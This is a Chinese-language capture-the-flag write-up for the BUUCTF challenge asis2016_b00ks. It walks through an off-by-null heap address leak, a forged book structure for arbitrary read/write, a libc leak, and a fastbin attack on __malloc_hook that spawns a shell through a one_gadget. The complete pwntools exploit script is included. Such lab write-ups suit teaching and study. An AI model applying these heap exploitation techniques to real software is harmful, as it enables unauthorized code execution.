看师傅们wp的时候,我才知道这个道题是wiki上面的例题。我看了一些师傅的wp,发现大家都是一种做法,都是通过mmap堆地址,来找libc基地址的。而我试了一下fastbisn attack,发现也可以做出来,也是自己第一次做off by null,所以特此记录一下。

step1:leak heap addr

  刚进去之后程序会让输入一个author_name,在bss段,可以输入0x20个字节,并且存在off by null漏洞,意味着可以在0x21处写入"\x00"。

  通过动态调试发现author_name下面就是存放chunk的指针。

  执行show函数的时候,会输出author_name,因为没有截断,会连带将heap地址输出,就拿到heap地址了。

step2:leak libc base && 任意写

  这里仅展示add(0x10,'aaaaaaaa',0x10,'bbbbbbbb')的chunk分布。

  第一个chunk存book_name,第二个chunk存book_description,第三个chunk存放的是一个结构体。chunk3[0]是书的编号,chunk3[1]指向book_name,chunk3[2]指向book_description,chunk3[3]写的是book_description的大小。(在edit函数,可以对book_description进行修改)

  在bss段上,存放的是指针是指向chunk3[0]的。

  思路:可以利用off by null将bss段的第一个chunk指针的最后一个字节置0,就可以改写指针,如果将改写的指针指向事先布置好的fake book结构体,就可以实现任意地址的读写。

  在这之前呢,得先说一下books2的创建。add(0x80,'cccccccc',0x60,'dddddddd')。

  0x80是为了让free之后进入unsortedbin,可以leak libc。

  0x60是为了让free之后进入fastbins,然后改写fd指针达到任意写。

  此时将0x55956d670100处写入p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x30+0x90)+p64(0x20)。

  接下来就是简单fastbins attack,常规操作,申请到__malloc_hook-0x23的位置,再把chunk申请过去,通过realloc调整一下栈帧用onegadgets打就行。

exp:

 1 from pwn import *
2
3 p = process('./b00ks')
4 #p = process(['./b00ks'],env={"LD_PRELOAD":"./libc-2.23.so"})
5 elf = ELF('./b00ks')
6 libc = ELF('./libc.so.6')
7 #libc = ELF('./libc-2.23.so')
8 context.log_level = 'debug'
9
10 def duan():
11 gdb.attach(p)
12 pause()
13 def add(name_size,name,content_size,content):
14 p.sendlineafter('> ','1')
15 p.sendlineafter('size: ',str(name_size))
16 p.sendlineafter('chars): ',name)
17 p.sendlineafter('size: ',str(content_size))
18 p.sendlineafter('tion: ',content)
19 def delete(index):
20 p.sendlineafter('> ','2')
21 p.sendlineafter('delete: ',str(index))
22 def edit(index,content):
23 p.sendlineafter('> ','3')
24 p.sendlineafter('edit: ',str(index))
25 p.sendlineafter('ption: ',content)
26 def show():
27 p.sendlineafter('> ','4')
28 def change(author_name):
29 p.sendlineafter('> ','5')
30 p.sendlineafter('name: ',author_name)
31
32 og = [0x45226,0x4527a,0xf0364,0xf1207]
33 #og = [0x45216,0x4526a,0xf02a4,0xf1147]
34 p.sendlineafter('name: ','a'*0x1f+'b')
35 add(0xd0,'aaaaaaaa',0x20,'bbbbbbbb')
36 show()
37 p.recvuntil('aaab')
38 heap_addr = u64(p.recv(6).ljust(8,'\x00'))
39 print 'heap_addr-->'+hex(heap_addr)
40 add(0x80,'cccccccc',0x60,'dddddddd')
41 add(0x10,'eeeeeeee',0x10,'ffffffff')
42 delete(2)
43 edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x30+0x90)+p64(0x20))
44 change('a'*0x20)
45 show()
46 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88-0x10-libc.symbols['__malloc_hook']
47 __malloc_hook = libc_base+libc.symbols['__malloc_hook']
48 realloc = libc_base+libc.symbols['realloc']
49 shell = libc_base+og[1]
50 print 'libc_base-->'+hex(libc_base)
51 print 'shell-->'+hex(shell)
52 print '__malloc_hook-->'+hex(__malloc_hook)
53
54 edit(1,p64(__malloc_hook-0x23))
55 add(0x60,'aaaaaaaa',0x60,'a'*(0x13-8)+p64(shell)+p64(realloc+14))
56 p.interactive()

BUUCFT pwn asis2016_b00ks的更多相关文章

  1. [BUUCFT]PWN——pwn2_sctf_2016

    pwn2_sctf_2016[整数溢出+泄露libc] 题目附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,看看大概的执行情况 32位ida载入,shift+f12检索程序里的字符串, ...

  2. Pwn~

    Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...

  3. iscc2016 pwn部分writeup

    一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...

  4. i春秋30强挑战赛pwn解题过程

    80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1' ...

  5. SSCTF Final PWN

    比赛过去了两个月了,抽出时间,将当时的PWN给总结一下. 和线上塞的题的背景一样,只不过洞不一样了.Checksec一样,发现各种防护措施都开了. 程序模拟了简单的堆的管理,以及cookie的保护机制 ...

  6. pwn学习(1)

    0x00 简介 入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习. 0x01 保护方式 NX (DEP):堆栈不可 ...

  7. pwn学习之四

    本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波. bufoverflow_a 做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete ...

  8. pwn学习之三

    whctf2017的一道pwn题sandbox,这道题提供了两个可执行文件加一个libc,两个可执行文件是一个vuln,一个sandbox,这是一道通过沙盒去保护vuln不被攻击的题目. 用ida打开 ...

  9. pwn学习之二

    刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字 ...

随机推荐

  1. 容器安全产品Aqua调研

    前言 近年来,随着云计算的发展,企业数字化的进程不断加快,业务纷纷开始上云,云原生的概念最近两年也是十分火热,在新业务场景下也随之产生了新的安全问题,如k8s安全.devsecops.微服务安全.Se ...

  2. Dapr-状态管理

    前言: 前一篇对Dapr的服务调用方式进行了解,本篇继续对状态管理进行了解. 一.状态管理-解决的问题 在分布式应用程序中跟踪状态存在一下问题: 应用程序可能需要不同类型的数据存储. 访问和更新数据时 ...

  3. [cf1168E]Xor Permutations

    (与题目中下标不同,这里令下标为$[0,2^{k})$来方便运算) 根据异或的性质,显然有解的必要条件是$\bigoplus_{i=0}^{2^{k}-1}a_{i}=0$ 在此基础上,我们考虑构造- ...

  4. [spojDIVCNT1]Counting Divisors

    定义 约定1:以下分数都是最简,且令$\frac{1}{0}$有意义,其大于其余分数,并称平行于$y$轴的直线斜率为$-\frac{1}{0}$ 分数加:对于分数$a=\frac{a_{1}}{a_{ ...

  5. [luogu5574]任务分配问题

    首先暴力dp,令$f_{i,j}$表示前$i$个点划分为$j$段,即有转移$f_{i,j}=\min f_{k-1,j-1}+calc(k,i)$(其中$calc(i,j)$表示求区间$[i,j]$的 ...

  6. .NET Core中的鉴权授权正确方式(.NET5)

    一.简介 前后端分离的站点一般都会用jwt或IdentityServer4之类的生成token的方式进行登录鉴权.这里要说的是小项目没有做前后端分离的时站点登录授权的正确方式. 一.传统的授权方式 这 ...

  7. Redis | 第4章 Redis中的数据库《Redis设计与实现》

    目录 前言 1. Redis中的数据库 2. 数据库的键空间 3. 键的生成时间与过期时间 4. Redis中的过期键删除策略 5. AOF.RDB和复制功能对过期键的处理 5.1 生成 RDB 文件 ...

  8. pycahrm下载

    下载地址: https://www.jetbrains.com/pycharm/download/#section=windows 下载社区版本,不用破解,可以直接使用

  9. 洛谷 P5299 - [PKUWC2018]Slay the Spire(组合数学+dp)

    题面传送门 hot tea 啊--这种风格及难度的题放在省选 D2T1 左右还是挺喜闻乐见的罢 首先考虑对于固定的 \(m\) 张牌怎样求出最优的打牌策略,假设我们抽到了 \(p\) 张强化牌,攻击力 ...

  10. pheatmap() 的热图制作

    1.数据准备 2.画图 3.参数调整 (转自百迈克公众号) 关注下方公众号可获得更多精彩